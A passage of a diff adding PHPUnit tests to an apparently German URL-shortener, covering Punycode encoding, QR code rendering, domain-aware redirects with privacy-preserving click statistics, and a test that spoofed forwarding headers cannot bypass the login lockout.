||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @dataProvider domainProvider
|
||||||
|
*/
|
||||||
|
public function testEncodeDomain(string $unicode, string $expected): void
|
||||||
|
{
|
||||||
|
self::assertSame($expected, Punycode::encodeDomain($unicode));
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Die eigene Implementierung muss dasselbe Ergebnis liefern wie die
|
||||||
|
* Referenz aus ext-intl. Ohne intl entfaellt die Gegenprobe.
|
||||||
|
*/
|
||||||
|
public function testStimmtMitIntlUeberein(): void
|
||||||
|
{
|
||||||
|
if (!function_exists('idn_to_ascii')) {
|
||||||
|
self::markTestSkipped('ext-intl ist nicht verfuegbar.');
|
||||||
|
}
|
||||||
|
|
||||||
|
$domains = [
|
||||||
|
'müller.de',
|
||||||
|
'bücher.de',
|
||||||
|
'münchen.de',
|
||||||
|
'grüße.example.com',
|
||||||
|
'www.müller.de',
|
||||||
|
'österreich.at',
|
||||||
|
'köln.de',
|
||||||
|
'schöne-grüße.de',
|
||||||
|
'日本語.jp',
|
||||||
|
'мосва.рф',
|
||||||
|
'ελλάδα.gr',
|
||||||
|
];
|
||||||
|
|
||||||
|
foreach ($domains as $domain) {
|
||||||
|
$reference = idn_to_ascii($domain, IDNA_DEFAULT, INTL_IDNA_VARIANT_UTS46);
|
||||||
|
self::assertIsString($reference, $domain);
|
||||||
|
|
||||||
|
// Die eigene Implementierung direkt aufrufen, nicht den
|
||||||
|
// intl-Weg innerhalb von encodeDomain().
|
||||||
|
self::assertSame($reference, self::encodeWithoutIntl($domain), $domain);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Ruft den Rueckfallweg ueber Reflection auf, damit die Gegenprobe
|
||||||
|
* nicht wieder bei idn_to_ascii landet.
|
||||||
|
*/
|
||||||
|
private static function encodeWithoutIntl(string $host): string
|
||||||
|
{
|
||||||
|
$method = new \ReflectionMethod(Punycode::class, 'encodeLabel');
|
||||||
|
$method->setAccessible(true);
|
||||||
|
|
||||||
|
$labels = array_map(
|
||||||
|
static fn (string $label): string => (string) $method->invoke(null, $label),
|
||||||
|
explode('.', $host),
|
||||||
|
);
|
||||||
|
|
||||||
|
return implode('.', $labels);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,164 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
namespace App\Tests;
|
||||||
|
|
||||||
|
use App\Qr\LogoStore;
|
||||||
|
use App\Qr\QrOptions;
|
||||||
|
use App\Qr\QrRenderer;
|
||||||
|
use PHPUnit\Framework\TestCase;
|
||||||
|
|
||||||
|
final class QrRendererTest extends TestCase
|
||||||
|
{
|
||||||
|
private string $uploadDir;
|
||||||
|
|
||||||
|
protected function setUp(): void
|
||||||
|
{
|
||||||
|
$this->uploadDir = sys_get_temp_dir() . '/urlshort-test-' . bin2hex(random_bytes(4));
|
||||||
|
mkdir($this->uploadDir, 0775, true);
|
||||||
|
}
|
||||||
|
|
||||||
|
protected function tearDown(): void
|
||||||
|
{
|
||||||
|
foreach (glob($this->uploadDir . '/*') ?: [] as $file) {
|
||||||
|
unlink($file);
|
||||||
|
}
|
||||||
|
if (is_dir($this->uploadDir)) {
|
||||||
|
rmdir($this->uploadDir);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function renderer(): QrRenderer
|
||||||
|
{
|
||||||
|
return new QrRenderer(new LogoStore($this->uploadDir));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testPngIsGeneratedInRequestedSize(): void
|
||||||
|
{
|
||||||
|
$png = $this->renderer()->png('https://kurz.test/messe2026', new QrOptions(size: 512, margin: 4));
|
||||||
|
|
||||||
|
self::assertStringStartsWith("\x89PNG", $png);
|
||||||
|
|
||||||
|
$info = getimagesizefromstring($png);
|
||||||
|
self::assertIsArray($info);
|
||||||
|
self::assertSame(512, $info[0]);
|
||||||
|
self::assertSame(512, $info[1]);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @dataProvider sizeProvider
|
||||||
|
*/
|
||||||
|
public function testAllOfferedSizesWork(int $size): void
|
||||||
|
{
|
||||||
|
$info = getimagesizefromstring(
|
||||||
|
$this->renderer()->png('https://kurz.test/abc', new QrOptions(size: $size)),
|
||||||
|
);
|
||||||
|
|
||||||
|
self::assertIsArray($info);
|
||||||
|
self::assertSame($size, $info[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return list<array{0:int}>
|
||||||
|
*/
|
||||||
|
public static function sizeProvider(): array
|
||||||
|
{
|
||||||
|
return array_map(static fn (int $size): array => [$size], QrOptions::SIZES);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testSvgIsVectorAndCarriesTheColors(): void
|
||||||
|
{
|
||||||
|
$svg = $this->renderer()->svg(
|
||||||
|
'https://kurz.test/messe2026',
|
||||||
|
new QrOptions(foreground: '#0b4f9e', background: '#fff7ed', size: 1024),
|
||||||
|
);
|
||||||
|
|
||||||
|
self::assertStringContainsString('<svg', $svg);
|
||||||
|
self::assertStringContainsString('viewBox', $svg);
|
||||||
|
self::assertStringContainsString('#0b4f9e', $svg);
|
||||||
|
self::assertStringContainsString('#fff7ed', $svg);
|
||||||
|
// Vektor statt eingebetteter Pixelgrafik.
|
||||||
|
self::assertStringNotContainsString('data:image/png', $svg);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testMarginZeroProducesSmallerQuietZoneThanMarginTen(): void
|
||||||
|
{
|
||||||
|
$data = 'https://kurz.test/abc';
|
||||||
|
|
||||||
|
$withoutMargin = $this->renderer()->png($data, new QrOptions(size: 512, margin: 0));
|
||||||
|
$withMargin = $this->renderer()->png($data, new QrOptions(size: 512, margin: 10));
|
||||||
|
|
||||||
|
// Beide behalten die Zielgroesse ...
|
||||||
|
self::assertSame(512, (getimagesizefromstring($withoutMargin) ?: [0])[0]);
|
||||||
|
self::assertSame(512, (getimagesizefromstring($withMargin) ?: [0])[0]);
|
||||||
|
// ... unterscheiden sich aber im Bildinhalt.
|
||||||
|
self::assertNotSame($withoutMargin, $withMargin);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testLogoForcesErrorCorrectionLevelH(): void
|
||||||
|
{
|
||||||
|
$logo = $this->uploadDir . '/logo.png';
|
||||||
|
$this->writePngLogo($logo);
|
||||||
|
|
||||||
|
$options = (new QrOptions(errorCorrection: 'L'))->withLogoPath('logo.png');
|
||||||
|
|
||||||
|
self::assertSame('H', $options->errorCorrection);
|
||||||
|
|
||||||
|
$png = $this->renderer()->png('https://kurz.test/mitlogo', $options);
|
||||||
|
self::assertStringStartsWith("\x89PNG", $png);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testSvgLogoIsEmbeddedInSvgOutput(): void
|
||||||
|
{
|
||||||
|
file_put_contents(
|
||||||
|
$this->uploadDir . '/logo.svg',
|
||||||
|
'<?xml version="1.0"?><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10">'
|
||||||
|
. '<circle cx="5" cy="5" r="5" fill="#ff0000"/></svg>',
|
||||||
|
);
|
||||||
|
|
||||||
|
$svg = $this->renderer()->svg(
|
||||||
|
'https://kurz.test/mitlogo',
|
||||||
|
(new QrOptions())->withLogoPath('logo.svg'),
|
||||||
|
);
|
||||||
|
|
||||||
|
self::assertStringContainsString('<image', $svg);
|
||||||
|
self::assertStringContainsString('data:image/svg+xml;base64,', $svg);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testDifferentColorsProduceDifferentImages(): void
|
||||||
|
{
|
||||||
|
$data = 'https://kurz.test/farben';
|
||||||
|
|
||||||
|
self::assertNotSame(
|
||||||
|
$this->renderer()->png($data, new QrOptions(foreground: '#000000')),
|
||||||
|
$this->renderer()->png($data, new QrOptions(foreground: '#0b4f9e')),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testOptionsAreClampedToValidRanges(): void
|
||||||
|
{
|
||||||
|
$options = new QrOptions(
|
||||||
|
foreground: 'unsinn',
|
||||||
|
size: 999,
|
||||||
|
margin: 99,
|
||||||
|
errorCorrection: 'X',
|
||||||
|
logoScale: 500,
|
||||||
|
);
|
||||||
|
|
||||||
|
self::assertSame('#000000', $options->foreground);
|
||||||
|
self::assertSame(512, $options->size);
|
||||||
|
self::assertSame(QrOptions::MAX_MARGIN, $options->margin);
|
||||||
|
self::assertSame('M', $options->errorCorrection);
|
||||||
|
self::assertSame(QrOptions::MAX_LOGO_SCALE, $options->logoScale);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function writePngLogo(string $path): void
|
||||||
|
{
|
||||||
|
$image = imagecreatetruecolor(120, 120);
|
||||||
|
self::assertNotFalse($image);
|
||||||
|
imagefill($image, 0, 0, (int) imagecolorallocate($image, 255, 0, 0));
|
||||||
|
imagepng($image, $path);
|
||||||
|
imagedestroy($image);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,407 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
namespace App\Tests;
|
||||||
|
|
||||||
|
use App\Config;
|
||||||
|
use App\Controller\RedirectController;
|
||||||
|
use App\Database;
|
||||||
|
use App\Http\Request;
|
||||||
|
use App\Migrator;
|
||||||
|
use App\Repository\DomainRepository;
|
||||||
|
use App\Repository\LinkRepository;
|
||||||
|
use App\Repository\VisitRepository;
|
||||||
|
use App\View;
|
||||||
|
use PHPUnit\Framework\TestCase;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Integrationstest der Weiterleitung gegen eine echte SQLite-Datenbank
|
||||||
|
* im Arbeitsspeicher.
|
||||||
|
*/
|
||||||
|
final class RedirectTest extends TestCase
|
||||||
|
{
|
||||||
|
private const BASE_URL = 'https://short.example.de';
|
||||||
|
|
||||||
|
private Database $db;
|
||||||
|
private LinkRepository $links;
|
||||||
|
private VisitRepository $visits;
|
||||||
|
private DomainRepository $domains;
|
||||||
|
private string $rootDir;
|
||||||
|
private int $defaultDomainId;
|
||||||
|
|
||||||
|
protected function setUp(): void
|
||||||
|
{
|
||||||
|
$this->rootDir = dirname(__DIR__);
|
||||||
|
|
||||||
|
$this->db = Database::sqlite(':memory:');
|
||||||
|
(new Migrator($this->db, $this->rootDir . '/migrations'))->migrate();
|
||||||
|
|
||||||
|
$this->links = new LinkRepository($this->db);
|
||||||
|
$this->visits = new VisitRepository($this->db);
|
||||||
|
$this->domains = new DomainRepository($this->db);
|
||||||
|
|
||||||
|
$this->defaultDomainId = (int) $this->domains->defaultDomain(self::BASE_URL)['id'];
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testMigrationsCreateAllTables(): void
|
||||||
|
{
|
||||||
|
$tables = array_column(
|
||||||
|
$this->db->fetchAll("SELECT name FROM sqlite_master WHERE type = 'table' ORDER BY name"),
|
||||||
|
'name',
|
||||||
|
);
|
||||||
|
|
||||||
|
foreach (['links', 'visits', 'qr_designs', 'settings', 'login_attempts', 'domains', 'migrations'] as $table) {
|
||||||
|
self::assertContains($table, $tables);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testMigrationsAreIdempotent(): void
|
||||||
|
{
|
||||||
|
$applied = (new Migrator($this->db, $this->rootDir . '/migrations'))->migrate();
|
||||||
|
|
||||||
|
self::assertSame([], $applied, 'Ein zweiter Lauf darf nichts erneut anwenden.');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testDefaultDomainIsDerivedFromBaseUrl(): void
|
||||||
|
{
|
||||||
|
$domain = $this->domains->defaultDomain(self::BASE_URL);
|
||||||
|
|
||||||
|
self::assertSame('short.example.de', $domain['host']);
|
||||||
|
self::assertSame(self::BASE_URL, $domain['base_url']);
|
||||||
|
self::assertSame(1, (int) $domain['is_default']);
|
||||||
|
self::assertSame(1, $this->domains->count(), 'Die Standarddomain darf nur einmal angelegt werden.');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testExistingLinksAreAssignedToTheDefaultDomain(): void
|
||||||
|
{
|
||||||
|
// Zustand nach der Migration: Bestandslink ohne Domain.
|
||||||
|
$this->db->execute(
|
||||||
|
'INSERT INTO links (domain_id, slug, target_url, is_active, click_count, created_at, updated_at)
|
||||||
|
VALUES (0, ?, ?, 1, 0, ?, ?)',
|
||||||
|
['bestand', 'https://www.beispiel.de/alt', gmdate('Y-m-d H:i:s'), gmdate('Y-m-d H:i:s')],
|
||||||
|
);
|
||||||
|
|
||||||
|
// Frische Datenbank simulieren, in der noch keine Domain existiert.
|
||||||
|
$this->db->execute('DELETE FROM domains');
|
||||||
|
$domainId = (int) $this->domains->defaultDomain(self::BASE_URL)['id'];
|
||||||
|
|
||||||
|
$link = $this->db->fetchOne('SELECT * FROM links WHERE slug = ?', ['bestand']);
|
||||||
|
|
||||||
|
self::assertNotNull($link);
|
||||||
|
self::assertSame($domainId, (int) $link['domain_id']);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testKnownSlugRedirectsWithConfiguredStatus(): void
|
||||||
|
{
|
||||||
|
$this->links->create($this->defaultDomainId, 'messe2026', 'https://www.beispiel.de/messe');
|
||||||
|
|
||||||
|
$response = $this->controller(['REDIRECT_STATUS' => '302'])
|
||||||
|
->handle($this->request('/messe2026'), ['slug' => 'messe2026']);
|
||||||
|
|
||||||
|
self::assertSame(302, $response->status());
|
||||||
|
self::assertSame('https://www.beispiel.de/messe', $response->headers()['Location']);
|
||||||
|
self::assertStringContainsString('no-store', $response->headers()['Cache-Control']);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testRedirectStatusIsConfigurable(): void
|
||||||
|
{
|
||||||
|
$this->links->create($this->defaultDomainId, 'dauerhaft', 'https://www.beispiel.de/');
|
||||||
|
|
||||||
|
$response = $this->controller(['REDIRECT_STATUS' => '301'])
|
||||||
|
->handle($this->request('/dauerhaft'), ['slug' => 'dauerhaft']);
|
||||||
|
|
||||||
|
self::assertSame(301, $response->status());
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testInvalidRedirectStatusFallsBackTo302(): void
|
||||||
|
{
|
||||||
|
$this->links->create($this->defaultDomainId, 'krumm', 'https://www.beispiel.de/');
|
||||||
|
|
||||||
|
$response = $this->controller(['REDIRECT_STATUS' => '418'])
|
||||||
|
->handle($this->request('/krumm'), ['slug' => 'krumm']);
|
||||||
|
|
||||||
|
self::assertSame(302, $response->status());
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testUnknownSlugRendersFriendly404(): void
|
||||||
|
{
|
||||||
|
$response = $this->controller()->handle($this->request('/gibtesnicht'), ['slug' => 'gibtesnicht']);
|
||||||
|
|
||||||
|
self::assertSame(404, $response->status());
|
||||||
|
self::assertArrayNotHasKey('Location', $response->headers());
|
||||||
|
self::assertStringContainsString('404', $response->body());
|
||||||
|
self::assertStringContainsString('gibtesnicht', $response->body());
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testInactiveLinkIsNotRedirected(): void
|
||||||
|
{
|
||||||
|
$id = $this->links->create($this->defaultDomainId, 'pausiert', 'https://www.beispiel.de/');
|
||||||
|
$this->links->setActive($id, false);
|
||||||
|
|
||||||
|
$response = $this->controller()->handle($this->request('/pausiert'), ['slug' => 'pausiert']);
|
||||||
|
|
||||||
|
self::assertSame(404, $response->status());
|
||||||
|
}
|
||||||
|
|
||||||
|
// --- Mehrere Domains ---------------------------------------------
|
||||||
|
|
||||||
|
public function testSameSlugOnTwoDomainsLeadsToDifferentTargets(): void
|
||||||
|
{
|
||||||
|
$qrId = $this->domains->create('https://qr.example.de', 'QR-Codes', false);
|
||||||
|
|
||||||
|
$this->links->create($this->defaultDomainId, 'messe', 'https://www.beispiel.de/kurzlink-ziel');
|
||||||
|
$this->links->create($qrId, 'messe', 'https://www.beispiel.de/qr-ziel');
|
||||||
|
|
||||||
|
$viaShort = $this->controller()->handle(
|
||||||
|
$this->request('/messe', host: 'short.example.de'),
|
||||||
|
['slug' => 'messe'],
|
||||||
|
);
|
||||||
|
$viaQr = $this->controller()->handle(
|
||||||
|
$this->request('/messe', host: 'qr.example.de'),
|
||||||
|
['slug' => 'messe'],
|
||||||
|
);
|
||||||
|
|
||||||
|
self::assertSame('https://www.beispiel.de/kurzlink-ziel', $viaShort->headers()['Location']);
|
||||||
|
self::assertSame('https://www.beispiel.de/qr-ziel', $viaQr->headers()['Location']);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testSlugOfAnotherDomainIsNotReachable(): void
|
||||||
|
{
|
||||||
|
$qrId = $this->domains->create('https://qr.example.de', null, false);
|
||||||
|
$this->links->create($qrId, 'nur-qr', 'https://www.beispiel.de/');
|
||||||
|
|
||||||
|
$response = $this->controller()->handle(
|
||||||
|
$this->request('/nur-qr', host: 'short.example.de'),
|
||||||
|
['slug' => 'nur-qr'],
|
||||||
|
);
|
||||||
|
|
||||||
|
self::assertSame(404, $response->status());
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testSameSlugMayExistOncePerDomain(): void
|
||||||
|
{
|
||||||
|
$qrId = $this->domains->create('https://qr.example.de', null, false);
|
||||||
|
|
||||||
|
$this->links->create($this->defaultDomainId, 'doppelt', 'https://www.beispiel.de/a');
|
||||||
|
|
||||||
|
self::assertTrue($this->links->slugExists('doppelt', $this->defaultDomainId));
|
||||||
|
self::assertFalse($this->links->slugExists('doppelt', $qrId));
|
||||||
|
|
||||||
|
$this->links->create($qrId, 'doppelt', 'https://www.beispiel.de/b');
|
||||||
|
|
||||||
|
self::assertTrue($this->links->slugExists('doppelt', $qrId));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testDuplicateSlugOnSameDomainIsRejectedByTheDatabase(): void
|
||||||
|
{
|
||||||
|
$this->links->create($this->defaultDomainId, 'einmalig', 'https://www.beispiel.de/a');
|
||||||
|
|
||||||
|
$this->expectException(\PDOException::class);
|
||||||
|
$this->links->create($this->defaultDomainId, 'einmalig', 'https://www.beispiel.de/b');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testUnknownHostFallsBackToTheDefaultDomain(): void
|
||||||
|
{
|
||||||
|
$this->links->create($this->defaultDomainId, 'fallback', 'https://www.beispiel.de/');
|
||||||
|
|
||||||
|
// Aufruf per IP-Adresse oder hinter einem Proxy.
|
||||||
|
$response = $this->controller()->handle(
|
||||||
|
$this->request('/fallback', host: '203.0.113.10'),
|
||||||
|
['slug' => 'fallback'],
|
||||||
|
);
|
||||||
|
|
||||||
|
self::assertSame(302, $response->status());
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testHostMatchingIgnoresCaseAndStandardPort(): void
|
||||||
|
{
|
||||||
|
$this->links->create($this->defaultDomainId, 'hostcheck', 'https://www.beispiel.de/');
|
||||||
|
|
||||||
|
foreach (['short.example.de', 'SHORT.example.de', 'short.example.de:443'] as $host) {
|
||||||
|
$response = $this->controller()->handle(
|
||||||
|
$this->request('/hostcheck', host: $host),
|
||||||
|
['slug' => 'hostcheck'],
|
||||||
|
);
|
||||||
|
|
||||||
|
self::assertSame(302, $response->status(), $host);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testShortUrlUsesTheDomainOfTheLink(): void
|
||||||
|
{
|
||||||
|
$qrId = $this->domains->create('https://qr.example.de', null, false);
|
||||||
|
$id = $this->links->create($qrId, 'druck', 'https://www.beispiel.de/');
|
||||||
|
|
||||||
|
$link = $this->links->find($id);
|
||||||
|
|
||||||
|
self::assertNotNull($link);
|
||||||
|
self::assertSame(
|
||||||
|
'https://qr.example.de/druck',
|
||||||
|
LinkRepository::shortUrlOf($link, self::BASE_URL),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testDomainWithSubdirectoryBuildsCorrectShortUrl(): void
|
||||||
|
{
|
||||||
|
$id = $this->domains->create('https://example.de/kurz', null, false);
|
||||||
|
$linkId = $this->links->create($id, 'abc', 'https://www.beispiel.de/');
|
||||||
|
|
||||||
|
$link = $this->links->find($linkId);
|
||||||
|
|
||||||
|
self::assertNotNull($link);
|
||||||
|
self::assertSame('example.de', $link['domain_host']);
|
||||||
|
self::assertSame('https://example.de/kurz/abc', LinkRepository::shortUrlOf($link, self::BASE_URL));
|
||||||
|
}
|
||||||
|
|
||||||
|
// --- Statistik und Datenschutz -----------------------------------
|
||||||
|
|
||||||
|
public function testClickIsCountedAndVisitLoggedAfterResponse(): void
|
||||||
|
{
|
||||||
|
$id = $this->links->create($this->defaultDomainId, 'zaehlen', 'https://www.beispiel.de/');
|
||||||
|
|
||||||
|
$request = $this->request(
|
||||||
|
'/zaehlen',
|
||||||
|
'Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Mobile/15E148 Safari/604.1',
|
||||||
|
'https://www.google.de/search?q=test',
|
||||||
|
);
|
||||||
|
|
||||||
|
$response = $this->controller()->handle($request, ['slug' => 'zaehlen']);
|
||||||
|
|
||||||
|
// Vor dem Nachlauf darf noch nichts protokolliert sein:
|
||||||
|
// der Redirect geht zuerst raus.
|
||||||
|
self::assertSame(0, (int) $this->links->find($id)['click_count']);
|
||||||
|
self::assertSame(0, $this->visits->totalForLink($id));
|
||||||
|
|
||||||
|
$response->runAfterSend();
|
||||||
|
|
||||||
|
$link = $this->links->find($id);
|
||||||
|
self::assertSame(1, (int) $link['click_count']);
|
||||||
|
self::assertNotNull($link['last_clicked_at']);
|
||||||
|
self::assertSame(1, $this->visits->totalForLink($id));
|
||||||
|
|
||||||
|
$visit = $this->db->fetchOne('SELECT * FROM visits WHERE link_id = ?', [$id]);
|
||||||
|
self::assertSame('mobile', $visit['device_type']);
|
||||||
|
self::assertSame('Safari', $visit['browser']);
|
||||||
|
self::assertSame('iOS', $visit['platform']);
|
||||||
|
self::assertSame('google.de', $visit['referrer_host']);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testNoIpIsStoredByDefault(): void
|
||||||
|
{
|
||||||
|
$id = $this->links->create($this->defaultDomainId, 'datenschutz', 'https://www.beispiel.de/');
|
||||||
|
|
||||||
|
$this->controller()
|
||||||
|
->handle($this->request('/datenschutz'), ['slug' => 'datenschutz'])
|
||||||
|
->runAfterSend();
|
||||||
|
|
||||||
|
$visit = $this->db->fetchOne('SELECT * FROM visits WHERE link_id = ?', [$id]);
|
||||||
|
|
||||||
|
self::assertNull($visit['visitor_hash']);
|
||||||
|
self::assertArrayNotHasKey('ip', $visit);
|
||||||
|
self::assertArrayNotHasKey('ip_address', $visit);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testVisitorHashIsAnonymousWhenEnabled(): void
|
||||||
|
{
|
||||||
|
$id = $this->links->create($this->defaultDomainId, 'gehasht', 'https://www.beispiel.de/');
|
||||||
|
|
||||||
|
$this->controller(['TRACK_IP' => 'hash', 'IP_HASH_SALT' => 'sehr-geheim'])
|
||||||
|
->handle($this->request('/gehasht'), ['slug' => 'gehasht'])
|
||||||
|
->runAfterSend();
|
||||||
|
|
||||||
|
$visit = $this->db->fetchOne('SELECT * FROM visits WHERE link_id = ?', [$id]);
|
||||||
|
|
||||||
|
self::assertIsString($visit['visitor_hash']);
|
||||||
|
self::assertSame(32, strlen($visit['visitor_hash']));
|
||||||
|
self::assertStringNotContainsString('203.0.113', $visit['visitor_hash']);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testSlugLookupIsCaseInsensitiveAsFallback(): void
|
||||||
|
{
|
||||||
|
$this->links->create($this->defaultDomainId, 'grossklein', 'https://www.beispiel.de/');
|
||||||
|
|
||||||
|
$response = $this->controller()->handle($this->request('/GROSSKLEIN'), ['slug' => 'GROSSKLEIN']);
|
||||||
|
|
||||||
|
self::assertSame(302, $response->status());
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testUmlautTargetIsRedirectedAsPunycode(): void
|
||||||
|
{
|
||||||
|
$this->links->create($this->defaultDomainId, 'umlaut', 'https://müller.de/preise');
|
||||||
|
|
||||||
|
$response = $this->controller()->handle($this->request('/umlaut'), ['slug' => 'umlaut']);
|
||||||
|
|
||||||
|
self::assertSame('https://xn--mller-kva.de/preise', $response->headers()['Location']);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testDeletingALinkRemovesItsVisits(): void
|
||||||
|
{
|
||||||
|
$id = $this->links->create($this->defaultDomainId, 'weg', 'https://www.beispiel.de/');
|
||||||
|
$this->controller()->handle($this->request('/weg'), ['slug' => 'weg'])->runAfterSend();
|
||||||
|
|
||||||
|
self::assertSame(1, $this->visits->totalForLink($id));
|
||||||
|
|
||||||
|
$this->links->delete($id);
|
||||||
|
|
||||||
|
self::assertNull($this->links->find($id));
|
||||||
|
self::assertSame(0, $this->visits->totalForLink($id));
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string,string> $overrides
|
||||||
|
*/
|
||||||
|
private function controller(array $overrides = []): RedirectController
|
||||||
|
{
|
||||||
|
$envFile = tempnam(sys_get_temp_dir(), 'env');
|
||||||
|
self::assertIsString($envFile);
|
||||||
|
|
||||||
|
$values = [
|
||||||
|
'APP_BASE_URL' => self::BASE_URL,
|
||||||
|
'DB_DRIVER' => 'sqlite',
|
||||||
|
'DB_SQLITE_PATH' => ':memory:',
|
||||||
|
] + $overrides;
|
||||||
|
|
||||||
|
$lines = [];
|
||||||
|
foreach ($values as $key => $value) {
|
||||||
|
$lines[] = $key . '=' . $value;
|
||||||
|
}
|
||||||
|
|
||||||
|
file_put_contents($envFile, implode("\n", $lines));
|
||||||
|
|
||||||
|
$config = Config::load($this->rootDir, $envFile);
|
||||||
|
unlink($envFile);
|
||||||
|
|
||||||
|
return new RedirectController(
|
||||||
|
$config,
|
||||||
|
new View($this->rootDir . '/templates'),
|
||||||
|
$this->links,
|
||||||
|
$this->visits,
|
||||||
|
$this->domains,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function request(
|
||||||
|
string $path,
|
||||||
|
string $userAgent = '',
|
||||||
|
string $referrer = '',
|
||||||
|
string $host = 'short.example.de',
|
||||||
|
): Request {
|
||||||
|
return new Request(
|
||||||
|
method: 'GET',
|
||||||
|
path: $path,
|
||||||
|
query: [],
|
||||||
|
post: [],
|
||||||
|
server: [
|
||||||
|
'REQUEST_METHOD' => 'GET',
|
||||||
|
'REQUEST_URI' => $path,
|
||||||
|
'SCRIPT_NAME' => '/index.php',
|
||||||
|
'HTTP_HOST' => $host,
|
||||||
|
'HTTP_USER_AGENT' => $userAgent,
|
||||||
|
'HTTP_REFERER' => $referrer,
|
||||||
|
'REMOTE_ADDR' => '203.0.113.42',
|
||||||
|
],
|
||||||
|
files: [],
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,194 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
namespace App\Tests\Security;
|
||||||
|
|
||||||
|
use App\Http\Request;
|
||||||
|
use PHPUnit\Framework\TestCase;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Die Client-IP steuert die Login-Sperre. Liesse sie sich per Header
|
||||||
|
* frei setzen, waere die Sperre wirkungslos - ein Angreifer koennte
|
||||||
|
* nach jedem Fehlversuch eine neue "IP" behaupten.
|
||||||
|
*/
|
||||||
|
final class ClientIpTest extends TestCase
|
||||||
|
{
|
||||||
|
/**
|
||||||
|
* @param array<string,string> $server
|
||||||
|
* @param list<string> $trustedProxies
|
||||||
|
*/
|
||||||
|
private function request(array $server, array $trustedProxies = []): Request
|
||||||
|
{
|
||||||
|
return new Request(
|
||||||
|
method: 'GET',
|
||||||
|
path: '/',
|
||||||
|
query: [],
|
||||||
|
post: [],
|
||||||
|
server: $server + ['REQUEST_METHOD' => 'GET', 'SCRIPT_NAME' => '/index.php'],
|
||||||
|
files: [],
|
||||||
|
trustedProxies: $trustedProxies,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testForwardedHeaderIsIgnoredWithoutTrustedProxies(): void
|
||||||
|
{
|
||||||
|
$request = $this->request([
|
||||||
|
'REMOTE_ADDR' => '203.0.113.10',
|
||||||
|
'HTTP_X_FORWARDED_FOR' => '1.2.3.4',
|
||||||
|
'HTTP_X_REAL_IP' => '5.6.7.8',
|
||||||
|
]);
|
||||||
|
|
||||||
|
self::assertSame('203.0.113.10', $request->clientIp());
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testSpoofedHeaderCannotRotateTheIdentity(): void
|
||||||
|
{
|
||||||
|
// Ohne Proxy-Konfiguration muessen alle Versuche dieselbe
|
||||||
|
// Kennung ergeben - sonst waere die Sperre umgehbar.
|
||||||
|
$seen = [];
|
||||||
|
|
||||||
|
foreach (['1.1.1.1', '2.2.2.2', '3.3.3.3', 'unsinn', ''] as $spoofed) {
|
||||||
|
$seen[] = $this->request([
|
||||||
|
'REMOTE_ADDR' => '203.0.113.10',
|
||||||
|
'HTTP_X_FORWARDED_FOR' => $spoofed,
|
||||||
|
])->clientIp();
|
||||||
|
}
|
||||||
|
|
||||||
|
self::assertSame(['203.0.113.10'], array_values(array_unique($seen)));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testForwardedHeaderIsUsedBehindATrustedProxy(): void
|
||||||
|
{
|
||||||
|
$request = $this->request(
|
||||||
|
[
|
||||||
|
'REMOTE_ADDR' => '10.0.0.5',
|
||||||
|
'HTTP_X_FORWARDED_FOR' => '203.0.113.77',
|
||||||
|
],
|
||||||
|
['10.0.0.0/8'],
|
||||||
|
);
|
||||||
|
|
||||||
|
self::assertSame('203.0.113.77', $request->clientIp());
|
||||||
|
}
|
||||||
|
|
||||||
|
